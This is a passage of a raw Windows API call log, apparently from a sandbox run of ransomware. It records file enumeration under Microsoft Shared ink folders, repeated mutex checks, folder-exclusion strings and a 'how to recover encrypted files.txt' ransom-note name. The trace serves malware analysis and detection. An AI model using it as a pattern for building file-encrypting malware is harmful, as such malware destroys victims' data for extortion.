Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0047.103] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69420, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0047.103] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\lv-lv\\") returned 0x39 [0047.103] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0047.103] GlobalLock (hMem=0x440004) returned 0x551178 [0047.103] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.103] GlobalUnlock (hMem=0x440004) returned 0 [0047.104] GlobalLock (hMem=0x440004) returned 0x551178 [0047.104] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.104] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.104] GlobalUnlock (hMem=0x440004) returned 0 [0047.104] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.104] GlobalUnlock (hMem=0x44000c) returned 0 [0047.104] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.104] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.104] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.104] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.104] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.104] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.104] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.104] GlobalUnlock (hMem=0x44000c) returned 0 [0047.104] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.104] GlobalLock (hMem=0x440004) returned 0x554190 [0047.104] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.104] GlobalUnlock (hMem=0x44000c) returned 0 [0047.104] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.104] GlobalUnlock (hMem=0x440004) returned 0 [0047.104] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.104] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0047.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.104] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0047.105] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0047.105] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0047.105] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\lv-LV\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0047.105] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.105] GlobalLock (hMem=0x440004) returned 0x551178 [0047.105] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.105] GlobalUnlock (hMem=0x440004) returned 0 [0047.105] GlobalLock (hMem=0x440004) returned 0x551178 [0047.105] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.105] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.105] GlobalUnlock (hMem=0x440004) returned 0 [0047.105] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.105] GlobalUnlock (hMem=0x44000c) returned 0 [0047.105] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0047.105] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0047.105] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.106] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.106] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.106] GlobalUnlock (hMem=0x44000c) returned 0 [0047.106] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.106] GlobalLock (hMem=0x440004) returned 0x553188 [0047.106] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.106] GlobalUnlock (hMem=0x44000c) returned 0 [0047.106] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.106] GlobalUnlock (hMem=0x440004) returned 0 [0047.106] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.106] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.106] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.106] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.106] GlobalLock (hMem=0x440004) returned 0x552180 [0047.106] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.106] GlobalUnlock (hMem=0x440004) returned 0 [0047.106] GlobalLock (hMem=0x440004) returned 0x552180 [0047.106] GlobalLock (hMem=0x44000c) returned 0x554190 [0047.106] GlobalHandle (pMem=0x552180) returned 0x440004 [0047.106] GlobalUnlock (hMem=0x440004) returned 0 [0047.106] GlobalHandle (pMem=0x554190) returned 0x44000c [0047.106] GlobalUnlock (hMem=0x44000c) returned 0 [0047.106] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.106] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.106] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0047.106] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0047.106] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.106] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.106] GlobalUnlock (hMem=0x44000c) returned 0 [0047.106] GlobalLock (hMem=0x44000c) returned 0x552180 [0047.106] GlobalLock (hMem=0x440004) returned 0x554190 [0047.106] GlobalHandle (pMem=0x552180) returned 0x44000c [0047.107] GlobalUnlock (hMem=0x44000c) returned 0 [0047.107] GlobalHandle (pMem=0x554190) returned 0x440004 [0047.107] GlobalUnlock (hMem=0x440004) returned 0 [0047.107] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.107] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.107] GetLastError () returned 0x12 [0047.107] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0047.107] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.107] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.107] GlobalLock (hMem=0x440004) returned 0x551178 [0047.107] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.107] GlobalUnlock (hMem=0x440004) returned 0 [0047.107] GlobalLock (hMem=0x440004) returned 0x551178 [0047.107] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.107] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.107] GlobalUnlock (hMem=0x440004) returned 0 [0047.107] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.107] GlobalUnlock (hMem=0x44000c) returned 0 [0047.107] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.107] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0047.107] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.107] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.107] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.107] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.107] GlobalUnlock (hMem=0x44000c) returned 0 [0047.107] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.107] GlobalLock (hMem=0x440004) returned 0x553188 [0047.107] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.107] GlobalUnlock (hMem=0x44000c) returned 0 [0047.107] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.108] GlobalUnlock (hMem=0x440004) returned 0 [0047.108] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.108] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0047.108] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.108] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.108] GlobalLock (hMem=0x440004) returned 0x551178 [0047.108] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.108] GlobalUnlock (hMem=0x440004) returned 0 [0047.108] GlobalLock (hMem=0x440004) returned 0x551178 [0047.108] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.108] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.108] GlobalUnlock (hMem=0x440004) returned 0 [0047.108] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.108] GlobalUnlock (hMem=0x44000c) returned 0 [0047.108] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.108] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0047.108] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.108] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.108] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.108] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.108] GlobalUnlock (hMem=0x44000c) returned 0 [0047.108] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.108] GlobalLock (hMem=0x440004) returned 0x553188 [0047.108] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.108] GlobalUnlock (hMem=0x44000c) returned 0 [0047.108] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.108] GlobalUnlock (hMem=0x440004) returned 0 [0047.108] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.108] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0047.108] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.109] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.109] GlobalLock (hMem=0x440004) returned 0x551178 [0047.109] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.109] GlobalUnlock (hMem=0x440004) returned 0 [0047.109] GlobalLock (hMem=0x440004) returned 0x551178 [0047.109] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.109] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.109] GlobalUnlock (hMem=0x440004) returned 0 [0047.109] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.109] GlobalUnlock (hMem=0x44000c) returned 0 [0047.109] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.109] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0047.109] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.109] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.109] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.109] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.109] GlobalUnlock (hMem=0x44000c) returned 0 [0047.109] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.109] GlobalLock (hMem=0x440004) returned 0x553188 [0047.109] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.109] GlobalUnlock (hMem=0x44000c) returned 0 [0047.109] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.109] GlobalUnlock (hMem=0x440004) returned 0 [0047.109] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.109] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0047.109] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0047.109] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0047.109] GlobalLock (hMem=0x440004) returned 0x551178 [0047.109] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.109] GlobalUnlock (hMem=0x440004) returned 0 [0047.109] GlobalLock (hMem=0x440004) returned 0x551178 [0047.109] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.110] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.110] GlobalUnlock (hMem=0x440004) returned 0 [0047.110] GlobalHandle (pMem=0x553188) returned 0x44000c [0047.110] GlobalUnlock (hMem=0x44000c) returned 0 [0047.110] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.110] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.110] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.110] GlobalUnlock (hMem=0x44000c) returned 0 [0047.110] GlobalLock (hMem=0x44000c) returned 0x551178 [0047.110] GlobalLock (hMem=0x440004) returned 0x553188 [0047.110] GlobalHandle (pMem=0x551178) returned 0x44000c [0047.110] GlobalUnlock (hMem=0x44000c) returned 0 [0047.110] GlobalHandle (pMem=0x553188) returned 0x440004 [0047.110] GlobalUnlock (hMem=0x440004) returned 0 [0047.110] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0047.110] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO", len=0x38 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO") returned 1 [0047.110] GlobalLock (hMem=0x440004) returned 0x551178 [0047.110] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.110] GlobalUnlock (hMem=0x440004) returned 0 [0047.110] GlobalLock (hMem=0x440004) returned 0x551178 [0047.110] GlobalLock (hMem=0x44000c) returned 0x553188 [0047.110] GlobalHandle (pMem=0x551178) returned 0x440004 [0047.110] GlobalUnlock (hMem=0x440004) returned 0 [0047.110] GlobalHandle 